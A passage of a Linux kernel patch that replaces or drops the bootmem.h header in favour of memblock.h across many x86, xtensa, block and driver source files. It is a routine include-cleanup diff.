+++ b/arch/x86/kernel/pci-dma.c
@@ -3,7 +3,7 @@
 #include <linux/dma-debug.h>
 #include <linux/dmar.h>
 #include <linux/export.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/gfp.h>
 #include <linux/pci.h>
 
diff --git a/arch/x86/kernel/pci-swiotlb.c b/arch/x86/kernel/pci-swiotlb.c
index 6615836..d8fb84e 100644
--- a/arch/x86/kernel/pci-swiotlb.c
+++ b/arch/x86/kernel/pci-swiotlb.c
@@ -5,7 +5,7 @@
 #include <linux/cache.h>
 #include <linux/init.h>
 #include <linux/swiotlb.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/dma-direct.h>
 #include <linux/mem_encrypt.h>
 
diff --git a/arch/x86/kernel/pvclock.c b/arch/x86/kernel/pvclock.c
index 637982e..9b158b4 100644
--- a/arch/x86/kernel/pvclock.c
+++ b/arch/x86/kernel/pvclock.c
@@ -20,7 +20,7 @@
 #include <linux/notifier.h>
 #include <linux/sched.h>
 #include <linux/gfp.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/nmi.h>
 
 #include <asm/fixmap.h>
diff --git a/arch/x86/kernel/setup.c b/arch/x86/kernel/setup.c
index e493202..79b7f2c 100644
--- a/arch/x86/kernel/setup.c
+++ b/arch/x86/kernel/setup.c
@@ -30,7 +30,6 @@
 #include <linux/sfi.h>
 #include <linux/apm_bios.h>
 #include <linux/initrd.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/seq_file.h>
 #include <linux/console.h>
diff --git a/arch/x86/kernel/setup_percpu.c b/arch/x86/kernel/setup_percpu.c
index 483412f..e8796fc 100644
--- a/arch/x86/kernel/setup_percpu.c
+++ b/arch/x86/kernel/setup_percpu.c
@@ -4,7 +4,6 @@
 #include <linux/kernel.h>
 #include <linux/export.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/percpu.h>
 #include <linux/kexec.h>
diff --git a/arch/x86/kernel/smpboot.c b/arch/x86/kernel/smpboot.c
index f02ecaf..21cf1fb 100644
--- a/arch/x86/kernel/smpboot.c
+++ b/arch/x86/kernel/smpboot.c
@@ -49,7 +49,7 @@
 #include <linux/sched/hotplug.h>
 #include <linux/sched/task_stack.h>
 #include <linux/percpu.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/err.h>
 #include <linux/nmi.h>
 #include <linux/tboot.h>
diff --git a/arch/x86/kernel/tce_64.c b/arch/x86/kernel/tce_64.c
index 75730ce..285aaa6 100644
--- a/arch/x86/kernel/tce_64.c
+++ b/arch/x86/kernel/tce_64.c
@@ -30,7 +30,6 @@
 #include <linux/string.h>
 #include <linux/pci.h>
 #include <linux/dma-mapping.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <asm/tce.h>
 #include <asm/calgary.h>
diff --git a/arch/x86/mm/amdtopology.c b/arch/x86/mm/amdtopology.c
index 048c761..058b2f3 100644
--- a/arch/x86/mm/amdtopology.c
+++ b/arch/x86/mm/amdtopology.c
@@ -12,7 +12,6 @@
 #include <linux/string.h>
 #include <linux/nodemask.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 
 #include <asm/io.h>
 #include <linux/pci_ids.h>
diff --git a/arch/x86/mm/fault.c b/arch/x86/mm/fault.c
index cf16dfe..b6381b0 100644
--- a/arch/x86/mm/fault.c
+++ b/arch/x86/mm/fault.c
@@ -8,7 +8,7 @@
 #include <linux/sched/task_stack.h>	/* task_stack_*(), ...		*/
 #include <linux/kdebug.h>		/* oops_begin/end, ...		*/
 #include <linux/extable.h>		/* search_exception_tables	*/
-#include <linux/bootmem.h>		/* max_low_pfn			*/
+#include <linux/memblock.h>		/* max_low_pfn			*/
 #include <linux/kprobes.h>		/* NOKPROBE_SYMBOL, ...		*/
 #include <linux/mmiotrace.h>		/* kmmio_handler, ...		*/
 #include <linux/perf_event.h>		/* perf_sw_event		*/
diff --git a/arch/x86/mm/highmem_32.c b/arch/x86/mm/highmem_32.c
index 62915a5..0d4bdcb 100644
--- a/arch/x86/mm/highmem_32.c
+++ b/arch/x86/mm/highmem_32.c
@@ -1,7 +1,7 @@
 #include <linux/highmem.h>
 #include <linux/export.h>
 #include <linux/swap.h> /* for totalram_pages */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 void *kmap(struct page *page)
 {
diff --git a/arch/x86/mm/init.c b/arch/x86/mm/init.c
index 7a8fc26..bbb91c0 100644
--- a/arch/x86/mm/init.c
+++ b/arch/x86/mm/init.c
@@ -3,7 +3,6 @@
 #include <linux/ioport.h>
 #include <linux/swap.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>	/* for max_low_pfn */
 #include <linux/swapfile.h>
 #include <linux/swapops.h>
 
diff --git a/arch/x86/mm/init_32.c b/arch/x86/mm/init_32.c
index 8ee1e64..f2837e4 100644
--- a/arch/x86/mm/init_32.c
+++ b/arch/x86/mm/init_32.c
@@ -23,7 +23,6 @@
 #include <linux/pci.h>
 #include <linux/pfn.h>
 #include <linux/poison.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/proc_fs.h>
 #include <linux/memory_hotplug.h>
diff --git a/arch/x86/mm/init_64.c b/arch/x86/mm/init_64.c
index bfb0bed..5fab264 100644
--- a/arch/x86/mm/init_64.c
+++ b/arch/x86/mm/init_64.c
@@ -20,7 +20,6 @@
 #include <linux/init.h>
 #include <linux/initrd.h>
 #include <linux/pagemap.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/proc_fs.h>
 #include <linux/pci.h>
diff --git a/arch/x86/mm/ioremap.c b/arch/x86/mm/ioremap.c
index c63a545..bf2a98e 100644
--- a/arch/x86/mm/ioremap.c
+++ b/arch/x86/mm/ioremap.c
@@ -6,7 +6,7 @@
  * (C) Copyright 1995 1996 Linus Torvalds
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/io.h>
 #include <linux/ioport.h>
diff --git a/arch/x86/mm/kasan_init_64.c b/arch/x86/mm/kasan_init_64.c
index 8f87499..04a9cf6 100644
--- a/arch/x86/mm/kasan_init_64.c
+++ b/arch/x86/mm/kasan_init_64.c
@@ -5,10 +5,9 @@
 /* cpu_feature_enabled() cannot be used this early */
 #define USE_EARLY_PGTABLE_L5
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/kasan.h>
 #include <linux/kdebug.h>
-#include <linux/memblock.h>
 #include <linux/mm.h>
 #include <linux/sched.h>
 #include <linux/sched/task.h>
diff --git a/arch/x86/mm/numa.c b/arch/x86/mm/numa.c
index 16e37d7..1308f54 100644
--- a/arch/x86/mm/numa.c
+++ b/arch/x86/mm/numa.c
@@ -4,7 +4,6 @@
 #include <linux/mm.h>
 #include <linux/string.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/mmzone.h>
 #include <linux/ctype.h>
diff --git a/arch/x86/mm/numa_32.c b/arch/x86/mm/numa_32.c
index e8a4a09..f2bd3d6 100644
--- a/arch/x86/mm/numa_32.c
+++ b/arch/x86/mm/numa_32.c
@@ -22,7 +22,6 @@
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  */
 
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/init.h>
 
diff --git a/arch/x86/mm/numa_64.c b/arch/x86/mm/numa_64.c
index 066f351..59d8016 100644
--- a/arch/x86/mm/numa_64.c
+++ b/arch/x86/mm/numa_64.c
@@ -3,7 +3,7 @@
  * Generic VM initialization for x86-64 NUMA setups.
  * Copyright 2002,2003 Andi Kleen, SuSE Labs.
  */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include "numa_internal.h"
 
diff --git a/arch/x86/mm/numa_emulation.c b/arch/x86/mm/numa_emulation.c
index b54d52a..a80fdd7 100644
--- a/arch/x86/mm/numa_emulation.c
+++ b/arch/x86/mm/numa_emulation.c
@@ -6,7 +6,6 @@
 #include <linux/errno.h>
 #include <linux/topology.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 #include <asm/dma.h>
 
 #include "numa_internal.h"
diff --git a/arch/x86/mm/pageattr-test.c b/arch/x86/mm/pageattr-test.c
index a25588a..08f8f76 100644
--- a/arch/x86/mm/pageattr-test.c
+++ b/arch/x86/mm/pageattr-test.c
@@ -5,7 +5,7 @@
  * Clears the a test pte bit on random pages in the direct mapping,
  * then reverts and compares page tables forwards and afterwards.
  */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/kthread.h>
 #include <linux/random.h>
 #include <linux/kernel.h>
diff --git a/arch/x86/mm/pageattr.c b/arch/x86/mm/pageattr.c
index 51a5a69..83c6ea7 100644
--- a/arch/x86/mm/pageattr.c
+++ b/arch/x86/mm/pageattr.c
@@ -3,7 +3,7 @@
  * Thanks to Ben LaHaise for precious feedback.
  */
 #include <linux/highmem.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/sched.h>
 #include <linux/mm.h>
 #include <linux/interrupt.h>
diff --git a/arch/x86/mm/pat.c b/arch/x86/mm/pat.c
index 3d0c83e..0801352 100644
--- a/arch/x86/mm/pat.c
+++ b/arch/x86/mm/pat.c
@@ -8,7 +8,7 @@
  */
 
 #include <linux/seq_file.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/debugfs.h>
 #include <linux/ioport.h>
 #include <linux/kernel.h>
diff --git a/arch/x86/mm/physaddr.c b/arch/x86/mm/physaddr.c
index 7f9acb6..bdc9815 100644
--- a/arch/x86/mm/physaddr.c
+++ b/arch/x86/mm/physaddr.c
@@ -1,5 +1,5 @@
 // SPDX-License-Identifier: GPL-2.0
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/mmdebug.h>
 #include <linux/export.h>
 #include <linux/mm.h>
diff --git a/arch/x86/pci/i386.c b/arch/x86/pci/i386.c
index ed4ac21..8cd6615 100644
--- a/arch/x86/pci/i386.c
+++ b/arch/x86/pci/i386.c
@@ -32,7 +32,7 @@
 #include <linux/init.h>
 #include <linux/ioport.h>
 #include <linux/errno.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/pat.h>
 #include <asm/e820/api.h>
diff --git a/arch/x86/platform/efi/efi.c b/arch/x86/platform/efi/efi.c
index 9061bab..7ae939e 100644
--- a/arch/x86/platform/efi/efi.c
+++ b/arch/x86/platform/efi/efi.c
@@ -36,9 +36,8 @@
 #include <linux/efi.h>
 #include <linux/efi-bgrt.h>
 #include <linux/export.h>
-#include <linux/bootmem.h>
-#include <linux/slab.h>
 #include <linux/memblock.h>
+#include <linux/slab.h>
 #include <linux/spinlock.h>
 #include <linux/uaccess.h>
 #include <linux/time.h>
diff --git a/arch/x86/platform/efi/efi_64.c b/arch/x86/platform/efi/efi_64.c
index ee5d08f..ef2ffc3 100644
--- a/arch/x86/platform/efi/efi_64.c
+++ b/arch/x86/platform/efi/efi_64.c
@@ -23,7 +23,7 @@
 #include <linux/mm.h>
 #include <linux/types.h>
 #include <linux/spinlock.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ioport.h>
 #include <linux/mc146818rtc.h>
 #include <linux/efi.h>
diff --git a/arch/x86/platform/efi/quirks.c b/arch/x86/platform/efi/quirks.c
index 7b4854c..bdec6e0 100644
--- a/arch/x86/platform/efi/quirks.c
+++ b/arch/x86/platform/efi/quirks.c
@@ -8,7 +8,6 @@
 #include <linux/efi.h>
 #include <linux/slab.h>
 #include <linux/memblock.h>
-#include <linux/bootmem.h>
 #include <linux/acpi.h>
 #include <linux/dmi.h>
 
diff --git a/arch/x86/platform/olpc/olpc_dt.c b/arch/x86/platform/olpc/olpc_dt.c
index 140cd76..115c8e4 100644
--- a/arch/x86/platform/olpc/olpc_dt.c
+++ b/arch/x86/platform/olpc/olpc_dt.c
@@ -17,7 +17,7 @@
  */
 
 #include <linux/kernel.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/of.h>
 #include <linux/of_platform.h>
 #include <linux/of_pdt.h>
diff --git a/arch/x86/power/hibernate_32.c b/arch/x86/power/hibernate_32.c
index afc4ed7..b3dacc7 100644
--- a/arch/x86/power/hibernate_32.c
+++ b/arch/x86/power/hibernate_32.c
@@ -8,7 +8,7 @@
 
 #include <linux/gfp.h>
 #include <linux/suspend.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/page.h>
 #include <asm/pgtable.h>
diff --git a/arch/x86/xen/enlighten.c b/arch/x86/xen/enlighten.c
index 749fb4b..ec1394c 100644
--- a/arch/x86/xen/enlighten.c
+++ b/arch/x86/xen/enlighten.c
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0
 
 #ifdef CONFIG_XEN_BALLOON_MEMORY_HOTPLUG
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #endif
 #include <linux/cpu.h>
 #include <linux/kexec.h>
diff --git a/arch/x86/xen/enlighten_pv.c b/arch/x86/xen/enlighten_pv.c
index ec7a420..2f6787f 100644
--- a/arch/x86/xen/enlighten_pv.c
+++ b/arch/x86/xen/enlighten_pv.c
@@ -23,7 +23,7 @@
 #include <linux/start_kernel.h>
 #include <linux/sched.h>
 #include <linux/kprobes.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/export.h>
 #include <linux/mm.h>
 #include <linux/page-flags.h>
@@ -31,7 +31,6 @@
 #include <linux/console.h>
 #include <linux/pci.h>
 #include <linux/gfp.h>
-#include <linux/memblock.h>
 #include <linux/edd.h>
 #include <linux/frame.h>
 
diff --git a/arch/x86/xen/p2m.c b/arch/x86/xen/p2m.c
index b3e11af..b067317 100644
--- a/arch/x86/xen/p2m.c
+++ b/arch/x86/xen/p2m.c
@@ -67,7 +67,6 @@
 #include <linux/hash.h>
 #include <linux/sched.h>
 #include <linux/seq_file.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/slab.h>
 #include <linux/vmalloc.h>
diff --git a/arch/xtensa/kernel/pci.c b/arch/xtensa/kernel/pci.c
index 21f13e9..5ca440a 100644
--- a/arch/xtensa/kernel/pci.c
+++ b/arch/xtensa/kernel/pci.c
@@ -24,7 +24,7 @@
 #include <linux/init.h>
 #include <linux/sched.h>
 #include <linux/errno.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 
 #include <asm/pci-bridge.h>
 #include <asm/platform.h>
diff --git a/arch/xtensa/mm/cache.c b/arch/xtensa/mm/cache.c
index 9220dcd..b27359e 100644
--- a/arch/xtensa/mm/cache.c
+++ b/arch/xtensa/mm/cache.c
@@ -21,7 +21,7 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/ptrace.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/swap.h>
 #include <linux/pagemap.h>
 
diff --git a/arch/xtensa/mm/init.c b/arch/xtensa/mm/init.c
index f7fbe63..9750a48 100644
--- a/arch/xtensa/mm/init.c
+++ b/arch/xtensa/mm/init.c
@@ -18,7 +18,7 @@
 
 #include <linux/kernel.h>
 #include <linux/errno.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/gfp.h>
 #include <linux/highmem.h>
 #include <linux/swap.h>
diff --git a/arch/xtensa/mm/kasan_init.c b/arch/xtensa/mm/kasan_init.c
index 1a30a25..6b95ca4 100644
--- a/arch/xtensa/mm/kasan_init.c
+++ b/arch/xtensa/mm/kasan_init.c
@@ -8,11 +8,10 @@
  * Copyright (C) 2017 Cadence Design Systems Inc.
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init_task.h>
 #include <linux/kasan.h>
 #include <linux/kernel.h>
-#include <linux/memblock.h>
 #include <asm/initialize_mmu.h>
 #include <asm/tlbflush.h>
 #include <asm/traps.h>
diff --git a/arch/xtensa/mm/mmu.c b/arch/xtensa/mm/mmu.c
index f33a1ff..a4dcfd3 100644
--- a/arch/xtensa/mm/mmu.c
+++ b/arch/xtensa/mm/mmu.c
@@ -4,7 +4,7 @@
  *
  * Extracted from init.c
  */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/percpu.h>
 #include <linux/init.h>
 #include <linux/string.h>
diff --git a/arch/xtensa/platforms/iss/network.c b/arch/xtensa/platforms/iss/network.c
index 206b9d4..190846d 100644
--- a/arch/xtensa/platforms/iss/network.c
+++ b/arch/xtensa/platforms/iss/network.c
@@ -30,7 +30,7 @@
 #include <linux/etherdevice.h>
 #include <linux/interrupt.h>
 #include <linux/ioctl.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/ethtool.h>
 #include <linux/rtnetlink.h>
 #include <linux/platform_device.h>
diff --git a/arch/xtensa/platforms/iss/setup.c b/arch/xtensa/platforms/iss/setup.c
index 58709e8..c14cc67 100644
--- a/arch/xtensa/platforms/iss/setup.c
+++ b/arch/xtensa/platforms/iss/setup.c
@@ -16,7 +16,7 @@
  * option) any later version.
  *
  */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/stddef.h>
 #include <linux/kernel.h>
 #include <linux/init.h>
diff --git a/block/blk-settings.c b/block/blk-settings.c
index ffd4599..696c04c 100644
--- a/block/blk-settings.c
+++ b/block/blk-settings.c
@@ -6,7 +6,7 @@
 #include <linux/init.h>
 #include <linux/bio.h>
 #include <linux/blkdev.h>
-#include <linux/bootmem.h>	/* for max_pfn/max_low_pfn */
+#include <linux/memblock.h>	/* for max_pfn/max_low_pfn */
 #include <linux/gcd.h>
 #include <linux/lcm.h>
 #include <linux/jiffies.h>
diff --git a/block/bounce.c b/block/bounce.c
index bc63b3a..6cba9d2 100644
--- a/block/bounce.c
+++ b/block/bounce.c
@@ -18,7 +18,7 @@
 #include <linux/init.h>
 #include <linux/hash.h>
 #include <linux/highmem.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/printk.h>
 #include <asm/tlbflush.h>
 
diff --git a/drivers/acpi/numa.c b/drivers/acpi/numa.c
index 8516760..2746994 100644
--- a/drivers/acpi/numa.c
+++ b/drivers/acpi/numa.c
@@ -27,7 +27,6 @@
 #include <linux/types.h>
 #include <linux/errno.h>
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/numa.h>
 #include <linux/nodemask.h>
diff --git a/drivers/acpi/tables.c b/drivers/acpi/tables.c
index a3d012b..61203ee 100644
--- a/drivers/acpi/tables.c
+++ b/drivers/acpi/tables.c
@@ -31,9 +31,8 @@
 #include <linux/irq.h>
 #include <linux/errno.h>
 #include <linux/acpi.h>
-#include <linux/bootmem.h>
-#include <linux/earlycpio.h>
 #include <linux/memblock.h>
+#include <linux/earlycpio.h>
 #include <linux/initrd.h>
 #include "internal.h"
 
diff --git a/drivers/base/platform.c b/drivers/base/platform.c
index dff82a3..3b31ee2 100644
--- a/drivers/base/platform.c
+++ b/drivers/base/platform.c
@@ -16,7 +16,7 @@
 #include <linux/module.h>
 #include <linux/init.h>
 #include <linux/dma-mapping.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/err.h>
 #include <linux/slab.h>
 #include <linux/pm_runtime.h>
diff --git a/drivers/clk/ti/clk.c b/drivers/clk/ti/clk.c
index a0136ed..8aa5f8f 100644
--- a/drivers/clk/ti/clk.c
+++ b/drivers/clk/ti/clk.c
@@ -23,7 +23,7 @@
 #include <linux/of_address.h>
 #include <linux/list.h>
 #include <linux/regmap.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/device.h>
 
 #include "clock.h"
diff --git a/drivers/firmware/dmi_scan.c b/drivers/firmware/dmi_scan.c
index f248354..099d83e 100644
--- a/drivers/firmware/dmi_scan.c
+++ b/drivers/firmware/dmi_scan.c
@@ -5,7 +5,7 @@
 #include <linux/ctype.h>
 #include <linux/dmi.h>
 #include <linux/efi.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/random.h>
 #include <asm/dmi.h>
 #include <asm/unaligned.h>
diff --git a/drivers/firmware/efi/apple-properties.c b/drivers/firmware/efi/apple-properties.c
index 2b675f7..ac1654f 100644
--- a/drivers/firmware/efi/apple-properties.c
+++ b/drivers/firmware/efi/apple-properties.c
@@ -20,7 +20,7 @@
 
 #define pr_fmt(fmt) "apple-properties: " fmt
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/efi.h>
 #include <linux/io.h>
 #include <linux/platform_data/x86/apple.h>
diff --git a/drivers/firmware/iscsi_ibft_find.c b/drivers/firmware/iscsi_ibft_find.c
index 2224f1d..72d9ea1 100644
--- a/drivers/firmware/iscsi_ibft_find.c
+++ b/drivers/firmware/iscsi_ibft_find.c
@@ -18,7 +18,7 @@
  * GNU General Public License for more details.
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/blkdev.h>
 #include <linux/ctype.h>
 #include <linux/device.h>
diff --git a/drivers/firmware/memmap.c b/drivers/firmware/memmap.c
index 03cead6..2a23453 100644
--- a/drivers/firmware/memmap.c
+++ b/drivers/firmware/memmap.c
@@ -19,7 +19,7 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/types.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/slab.h>
 #include <linux/mm.h>
 
diff --git a/drivers/iommu/mtk_iommu.c b/drivers/iommu/mtk_iommu.c
index f9f69f7..44bd5b9 100644
--- a/drivers/iommu/mtk_iommu.c
+++ b/drivers/iommu/mtk_iommu.c
@@ -11,7 +11,7 @@
  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  * GNU General Public License for more details.
  */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/bug.h>
 #include <linux/clk.h>
 #include <linux/component.h>
diff --git a/drivers/iommu/mtk_iommu_v1.c b/drivers/iommu/mtk_iommu_v1.c
index 676c029..0e78084 100644
--- a/drivers/iommu/mtk_iommu_v1.c
+++ b/drivers/iommu/mtk_iommu_v1.c
@@ -13,7 +13,7 @@
  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  * GNU General Public License for more details.
  */
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/bug.h>
 #include <linux/clk.h>
 #include <linux/component.h>
diff --git a/drivers/macintosh/smu.c b/drivers/macintosh/smu.c
index 0069f90..880a81c 100644
--- a/drivers/macintosh/smu.c
+++ b/drivers/macintosh/smu.c
@@ -23,7 +23,7 @@
 #include <linux/kernel.h>
 #include <linux/device.h>
 #include <linux/dmapool.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/vmalloc.h>
 #include <linux/highmem.h>
 #include <linux/jiffies.h>
@@ -38,7 +38,6 @@
 #include <linux/of_irq.h>
 #include <linux/of_platform.h>
 #include <linux/slab.h>
-#include <linux/memblock.h>
 #include <linux/sched/signal.h>
 
 #include <asm/byteorder.h>
diff --git a/drivers/mtd/ar7part.c b/drivers/mtd/ar7part.c
index fc15ec5..0d33cf0 100644
--- a/drivers/mtd/ar7part.c
+++ b/drivers/mtd/ar7part.c
@@ -25,7 +25,7 @@
 
 #include <linux/mtd/mtd.h>
 #include <linux/mtd/partitions.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/module.h>
 
 #include <uapi/linux/magic.h>
diff --git a/drivers/net/arcnet/arc-rimi.c b/drivers/net/arcnet/arc-rimi.c
index a07e249..11c5bad 100644
--- a/drivers/net/arcnet/arc-rimi.c
+++ b/drivers/net/arcnet/arc-rimi.c
@@ -33,7 +33,7 @@
 #include <linux/ioport.h>
 #include <linux/delay.h>
 #include <linux/netdevice.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/interrupt.h>
 #include <linux/io.h>
diff --git a/drivers/net/arcnet/com20020-isa.c b/drivers/net/arcnet/com20020-isa.c
index 38fa60d..28510e3 100644
--- a/drivers/net/arcnet/com20020-isa.c
+++ b/drivers/net/arcnet/com20020-isa.c
@@ -38,7 +38,7 @@
 #include <linux/netdevice.h>
 #include <linux/init.h>
 #include <linux/interrupt.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/io.h>
 
 #include "arcdevice.h"
diff --git a/drivers/net/arcnet/com90io.c b/drivers/net/arcnet/com90io.c
index 4e56aaf..2c54601 100644
--- a/drivers/net/arcnet/com90io.c
+++ b/drivers/net/arcnet/com90io.c
@@ -34,7 +34,7 @@
 #include <linux/ioport.h>
 #include <linux/delay.h>
 #include <linux/netdevice.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/init.h>
 #include <linux/interrupt.h>
 #include <linux/io.h>
diff --git a/drivers/of/fdt.c b/drivers/of/fdt.c
index 34dd878..48314e9 100644
--- a/drivers/of/fdt.c
+++ b/drivers/of/fdt.c
@@ -11,7 +11,6 @@
 #include <linux/crc32.h>
 #include <linux/kernel.h>
 #include <linux/initrd.h>
-#include <linux/bootmem.h>
 #include <linux/memblock.h>
 #include <linux/mutex.h>
 #include <linux/of.h>
diff --git a/drivers/of/unittest.c b/drivers/of/unittest.c
index 07c9217..5de5ceb 100644
--- a/drivers/of/unittest.c
+++ b/drivers/of/unittest.c
@@ -5,7 +5,7 @@
 
 #define pr_fmt(fmt) "### dt-test ### " fmt
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/clk.h>
 #include <linux/err.h>
 #include <linux/errno.h>
diff --git a/drivers/s390/char/fs3270.c b/drivers/s390/char/fs3270.c
index 16a4e85..8f3a2ee 100644
--- a/drivers/s390/char/fs3270.c
+++ b/drivers/s390/char/fs3270.c
@@ -8,7 +8,7 @@
  *     Copyright IBM Corp. 2003, 2009
  */
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/console.h>
 #include <linux/init.h>
 #include <linux/interrupt.h>
diff --git a/drivers/s390/char/tty3270.c b/drivers/s390/char/tty3270.c
index 5b8af27..2b0c36c2 100644
--- a/drivers/s390/char/tty3270.c
+++ b/drivers/s390/char/tty3270.c
@@ -19,7 +19,7 @@
 #include <linux/workqueue.h>
 
 #include <linux/slab.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/compat.h>
 
 #include <asm/ccwdev.h>
diff --git a/drivers/s390/cio/cmf.c b/drivers/s390/cio/cmf.c
index 8af4948..72dd247 100644
--- a/drivers/s390/cio/cmf.c
+++ b/drivers/s390/cio/cmf.c
@@ -13,7 +13,7 @@
 #define KMSG_COMPONENT "cio"
 #define pr_fmt(fmt) KMSG_COMPONENT ": " fmt
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/device.h>
 #include <linux/init.h>
 #include <linux/list.h>
diff --git a/drivers/s390/virtio/virtio_ccw.c b/drivers/s390/virtio/virtio_ccw.c
index 8f5c1d7..97b6f19 100644
--- a/drivers/s390/virtio/virtio_ccw.c
+++ b/drivers/s390/virtio/virtio_ccw.c
@@ -9,7 +9,7 @@
 
 #include <linux/kernel_stat.h>
 #include <linux/init.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/err.h>
 #include <linux/virtio.h>
 #include <linux/virtio_config.h>
diff --git a/drivers/sfi/sfi_core.c b/drivers/sfi/sfi_core.c
index 153b3f3..a513690 100644
--- a/drivers/sfi/sfi_core.c
+++ b/drivers/sfi/sfi_core.c
@@ -59,7 +59,7 @@
 #define KMSG_COMPONENT "SFI"
 #define pr_fmt(fmt) KMSG_COMPONENT ": " fmt
 
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/errno.h>
diff --git a/drivers/tty/serial/cpm_uart/cpm_uart_core.c b/drivers/tty/serial/cpm_uart/cpm_uart_core.c
index 24a5f05..c547e0e 100644
--- a/drivers/tty/serial/cpm_uart/cpm_uart_core.c
+++ b/drivers/tty/serial/cpm_uart/cpm_uart_core.c
@@ -24,7 +24,7 @@
 #include <linux/console.h>
 #include <linux/sysrq.h>
 #include <linux/device.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/dma-mapping.h>
 #include <linux/fs_uart_pd.h>
 #include <linux/of_address.h>
diff --git a/drivers/tty/serial/cpm_uart/cpm_uart_cpm1.c b/drivers/tty/serial/cpm_uart/cpm_uart_cpm1.c
index 4eba17f..56fc527 100644
--- a/drivers/tty/serial/cpm_uart/cpm_uart_cpm1.c
+++ b/drivers/tty/serial/cpm_uart/cpm_uart_cpm1.c
@@ -19,7 +19,7 @@
 #include <linux/console.h>
 #include <linux/sysrq.h>
 #include <linux/device.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/dma-mapping.h>
 
 #include <asm/io.h>
diff --git a/drivers/tty/serial/cpm_uart/cpm_uart_cpm2.c b/drivers/tty/serial/cpm_uart/cpm_uart_cpm2.c
index e3bff06..6a1cd03 100644
--- a/drivers/tty/serial/cpm_uart/cpm_uart_cpm2.c
+++ b/drivers/tty/serial/cpm_uart/cpm_uart_cpm2.c
@@ -19,7 +19,7 @@
 #include <linux/console.h>
 #include <linux/sysrq.h>
 #include <linux/device.h>
-#include <linux/bootmem.h>
+#include <linux/memblock.h>
 #include <linux/dma-mapping.h>
 
 #include <asm/io.h>
diff --git a/drivers/usb/early/xhci-dbc.c b/drivers/usb/early/xhci-dbc.c
index 4411404..9d4ee88 100644
--- a/drivers/usb/early/xhci-dbc.c
+++ b/drivers/usb/early/xhci-dbc.c
